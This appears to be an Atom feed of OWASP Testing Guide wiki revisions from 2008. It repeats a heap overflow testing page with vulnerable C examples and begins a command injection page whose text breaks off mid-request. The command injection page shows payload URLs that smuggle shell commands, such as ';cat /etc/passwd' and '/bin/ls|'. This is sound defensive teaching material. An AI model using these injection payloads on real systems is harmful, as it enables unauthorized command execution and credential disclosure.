* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Heap_Overflow&amp;diff=37018</id>
		<title>Testing for Heap Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Heap_Overflow&amp;diff=37018"/>
				<updated>2008-08-23T08:08:03Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this test we check whether a tester can make an heap overflow that exploits a memory segment.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information. &lt;br /&gt;
&lt;br /&gt;
When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.&lt;br /&gt;
&lt;br /&gt;
There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected.  &lt;br /&gt;
Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:heap overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.  &lt;br /&gt;
&lt;br /&gt;
When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed.&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code, one must realize that there exist several avenues where heap related vulnerabilities may arise. Code that seems innocuous at the first glance can actually be vulnerable under certain conditions. Since there are several variants of this vulnerability, we will cover only the issues that are predominant.&lt;br /&gt;
Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code proves to be hazardous in case of code shown below:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
	{&lt;br /&gt;
		……&lt;br /&gt;
&lt;br /&gt;
		vulnerable(argv[1]);		                                 &lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	int vulnerable(char *buf)&lt;br /&gt;
	{&lt;br /&gt;
		&lt;br /&gt;
		HANDLE hp = HeapCreate(0, 0, 0);		&lt;br /&gt;
		&lt;br /&gt;
		HLOCAL chunk = HeapAlloc(hp, 0, 260);&lt;br /&gt;
&lt;br /&gt;
		strcpy(chunk, buf);  ''' Vulnerability''' &lt;br /&gt;
                         &lt;br /&gt;
                          …….. &lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case, if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.&lt;br /&gt;
&lt;br /&gt;
Lately, several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example, consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ): &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string = cli_malloc(length + 1); ''' Vulnerability'''&lt;br /&gt;
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''&lt;br /&gt;
free(string);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example length is user controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Therefore, this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).  &lt;br /&gt;
&lt;br /&gt;
And now, in line 2, a heap overflow occurs in the call to fread( ).  The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte buffer.  &lt;br /&gt;
&lt;br /&gt;
Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* w00w00: &amp;quot;Heap Overflow Tutorial&amp;quot; - http://www.w00w00.org/files/articles/heaptut.txt&lt;br /&gt;
* David Litchfield: &amp;quot;Windows Heap Overflows&amp;quot; - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt&lt;br /&gt;
* Alex wheeler: &amp;quot;Clam Anti-Virus Multiple remote buffer overflows&amp;quot; - http://www.rem0te.com/public/images/clamav.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework&lt;br /&gt;
* Stack [Varun Uppal (varunuppal81@gmail.com)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Heap_Overflow&amp;diff=37017</id>
		<title>Testing for Heap Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Heap_Overflow&amp;diff=37017"/>
				<updated>2008-08-23T08:02:16Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this test we check whether a tester can make an heap overflow that exploits a memory segment.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information. &lt;br /&gt;
&lt;br /&gt;
When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.&lt;br /&gt;
&lt;br /&gt;
There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply as input strings that are longer than expected.  &lt;br /&gt;
Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow, an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:heap overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the addresses can point to a function pointer which needs to be overwritten, for example UEF (Unhandled Exception filter), and the other can be the address of user supplied code that needs to be executed.  &lt;br /&gt;
&lt;br /&gt;
When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called, user supplied code gets executed.&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code one must realize that there exist several avenues where heap related vulnerabilities may arise. Code that may seem to be innocuous at the first glance can prove to be vulnerable when certain conditions occur. Since there are several variants of this vulnerability, we will cover issues that are predominant.&lt;br /&gt;
Most of the time heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth, that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code, proves to be hazardous in case of code shown below:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
	{&lt;br /&gt;
		……&lt;br /&gt;
&lt;br /&gt;
		vulnerable(argv[1]);		                                 &lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	int vulnerable(char *buf)&lt;br /&gt;
	{&lt;br /&gt;
		&lt;br /&gt;
		HANDLE hp = HeapCreate(0, 0, 0);		&lt;br /&gt;
		&lt;br /&gt;
		HLOCAL chunk = HeapAlloc(hp, 0, 260);&lt;br /&gt;
&lt;br /&gt;
		strcpy(chunk, buf);  ''' Vulnerability''' &lt;br /&gt;
                         &lt;br /&gt;
                          …….. &lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag facilitating overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.&lt;br /&gt;
&lt;br /&gt;
Lately several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ): &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string = cli_malloc(length + 1); ''' Vulnerability'''&lt;br /&gt;
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''&lt;br /&gt;
free(string);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example length is user controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Following this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).  &lt;br /&gt;
&lt;br /&gt;
And now in line 2 heap overflow occurs in the call to fread( ).  The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF and there by copying 0xFFFFFFFF bytes into the 16 byte buffer.  &lt;br /&gt;
&lt;br /&gt;
Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* w00w00: &amp;quot;Heap Overflow Tutorial&amp;quot; - http://www.w00w00.org/files/articles/heaptut.txt&lt;br /&gt;
* David Litchfield: &amp;quot;Windows Heap Overflows&amp;quot; - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt&lt;br /&gt;
* Alex wheeler: &amp;quot;Clam Anti-Virus Multiple remote buffer overflows&amp;quot; - http://www.rem0te.com/public/images/clamav.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework&lt;br /&gt;
* Stack [Varun Uppal (varunuppal81@gmail.com)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Heap_Overflow&amp;diff=37016</id>
		<title>Testing for Heap Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Heap_Overflow&amp;diff=37016"/>
				<updated>2008-08-23T07:59:08Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this test we check whether a tester can make an heap overflow that exploits a memory segment.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in heap consists of boundary tags that contain memory management information. &lt;br /&gt;
&lt;br /&gt;
When a heap-based buffer is overflowed the control information in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place leading to an access violation. When the overflow is executed in a controlled fashion, the vulnerability would allow an adversary to overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function pointers and various addresses stored in structures like GOT, .dtors or TEB with the address of a malicious payload.&lt;br /&gt;
&lt;br /&gt;
There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting function pointers to exploiting memory management structures for arbitrary code execution. Locating heap overflows requires closer examination in comparison to stack overflows since there are certain conditions that need to exist in the code for these vulnerabilities to be exploitable.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
The principles of black box testing for heap overflows remain the same as stack overflows. The key is to supply different and large size strings as compared to expected input.  &lt;br /&gt;
Although the test process remains the same, the results that are visible in a debugger are significantly different. While in the case of a stack overflow an instruction pointer or SEH overwrite would be apparent, this does not hold true for a heap overflow condition. When debugging a windows program a heap overflow can appear in several different forms, the most common one being a pointer exchange taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:heap overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that is used to overflow the heap buffer. One of the address can be of a function pointer which needs to be overwritten, for example UEF( Unhandled Exception filter), and the other can be address of user supplied code that needs to be executed.  &lt;br /&gt;
&lt;br /&gt;
When MOV instructions shown in the left pane are executed, the overwrite takes place and user supplied code gets executed when the function is called.&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using Fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code one must realize that there exist several avenues where heap related vulnerabilities may arise. Code that may seem to be innocuous at the first glance can prove to be vulnerable when certain conditions occur. Since there are several variants of this vulnerability, we will cover issues that are predominant.&lt;br /&gt;
Most of the time heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like strcpy( ) on them. The myth, that a stack overflow and instruction pointer overwrite are the only means to execute arbitrary code, proves to be hazardous in case of code shown below:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
	{&lt;br /&gt;
		……&lt;br /&gt;
&lt;br /&gt;
		vulnerable(argv[1]);		                                 &lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
	int vulnerable(char *buf)&lt;br /&gt;
	{&lt;br /&gt;
		&lt;br /&gt;
		HANDLE hp = HeapCreate(0, 0, 0);		&lt;br /&gt;
		&lt;br /&gt;
		HLOCAL chunk = HeapAlloc(hp, 0, 260);&lt;br /&gt;
&lt;br /&gt;
		strcpy(chunk, buf);  ''' Vulnerability''' &lt;br /&gt;
                         &lt;br /&gt;
                          …….. &lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case if buf exceeds 260 bytes, it will overwrite pointers in the adjacent boundary tag facilitating overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.&lt;br /&gt;
&lt;br /&gt;
Lately several products, especially anti-virus libraries, have been affected by variants that are combinations of an integer overflow and copy operations to a heap buffer. As an example consider a vulnerable code snippet, a part of code responsible for processing TNEF filetypes, from Clam Anti Virus 0.86.1, source file tnef.c and function tnef_message( ): &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
string = cli_malloc(length + 1); ''' Vulnerability'''&lt;br /&gt;
if(fread(string, 1, length, fp) != length) {''' Vulnerability'''&lt;br /&gt;
free(string);&lt;br /&gt;
return -1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The malloc in line 1 allocates memory based on the value of length, which happens to be a 32 bit integer. In this particular example length is user controllable and a malicious TNEF file can be crafted to set length to ‘-1’, which would result in malloc( 0 ). Following this malloc would allocate a small heap buffer, which would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).  &lt;br /&gt;
&lt;br /&gt;
And now in line 2 heap overflow occurs in the call to fread( ).  The 3rd argument, in this case length, is expected to be a size_t variable. But if it’s going to be ‘-1’, the argument wraps to 0xFFFFFFFF and there by copying 0xFFFFFFFF bytes into the 16 byte buffer.  &lt;br /&gt;
&lt;br /&gt;
Static code analysis tools can also help in locating heap related vulnerabilities such as “double free” etc. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* w00w00: &amp;quot;Heap Overflow Tutorial&amp;quot; - http://www.w00w00.org/files/articles/heaptut.txt&lt;br /&gt;
* David Litchfield: &amp;quot;Windows Heap Overflows&amp;quot; - http://www.blackhat.com/presentations/win-usa-04/bh-win-04-litchfield/bh-win-04-litchfield.ppt&lt;br /&gt;
* Alex wheeler: &amp;quot;Clam Anti-Virus Multiple remote buffer overflows&amp;quot; - http://www.rem0te.com/public/images/clamav.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework&lt;br /&gt;
* Stack [Varun Uppal (varunuppal81@gmail.com)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Buffer_Overflow_(OTG-INPVAL-014)&amp;diff=37015</id>
		<title>Testing for Buffer Overflow (OTG-INPVAL-014)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Buffer_Overflow_(OTG-INPVAL-014)&amp;diff=37015"/>
				<updated>2008-08-23T07:56:33Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
'''What's buffer overflow?'''&lt;br /&gt;
&lt;br /&gt;
To find out more about buffer overflow vulnerabilities, please go to [[Buffer overflow]] pages.&lt;br /&gt;
&lt;br /&gt;
'''How to test for buffer overflow vulnerabilities?'''&lt;br /&gt;
&lt;br /&gt;
Different types of buffer overflow vulnerabilities have different testing methods. Here are the testing methods for the common types of buffer overflow vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
* [[Heap_Overflow_Testing_AoC|Testing for heap overflow vulnerability]]&lt;br /&gt;
* [[Stack Overflow Testing AoC|Testing for stack overflow vulnerability]]&lt;br /&gt;
* [[Format String Testing AoC|Testing for format string vulnerability]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=37014</id>
		<title>Testing for Command Injection (OTG-INPVAL-013)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Command_Injection_(OTG-INPVAL-013)&amp;diff=37014"/>
				<updated>2008-08-23T07:55:22Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
In this paragraph we describe how to test an application for OS command injection. We try try to inject an OS command throughout an HTTP request to the application.&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
OS command injection is a technique used via a web interface in order to execute OS commands on the web server.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The user supplies operating system commands through a web interface in order to execute OS commands.  Any web interface that is not properly sanitized is subject to this exploit.  With the ability to execute OS commands, the user can upload malicious programs or even obtain passwords.  OS command injection is preventable when security is emphasized during the design and development of applications.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
When viewing a file in a web application the file name is often shown in the URL.  Perl allows piping data from a process into an open statement.  The user can simply append the Pipe symbol “|” onto the end of the filename.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example URL before alteration:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=user1.txt&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example URL modified:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This will execute the command “/bin/ls”.&amp;lt;br&amp;gt;&lt;br /&gt;
Appending a semicolon to the end of a URL for a .PHP page followed by an operating system command, will execute the command.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Example:&amp;lt;br&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://sensitive/something.php?dir=%3Bcat%20/etc/passwd&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Example'''&amp;lt;br&amp;gt;&lt;br /&gt;
Consider the case of an application that contains a set of documents that you can browse from the Internet. If you fire up WebScarab, you can obtain a POST HTTP like the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
&lt;br /&gt;
Doc=Doc1.pdf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In this post request, we notice how the application retrieves the public documentations. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST http://www.example.com/public/doc HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20061010 FireFox/2.0&lt;br /&gt;
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5&lt;br /&gt;
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3&lt;br /&gt;
Accept-Encoding: gzip,deflate&lt;br /&gt;
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7&lt;br /&gt;
Keep-Alive: 300&lt;br /&gt;
Proxy-Connection: keep-alive&lt;br /&gt;
Referer: http://127.0.0.1/WebGoat/attack?Screen=20&lt;br /&gt;
Cookie: JSESSIONID=295500AD2AAEEBEDC9DB86E34F24A0A5&lt;br /&gt;
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
Content-length: 33&lt;br /&gt;
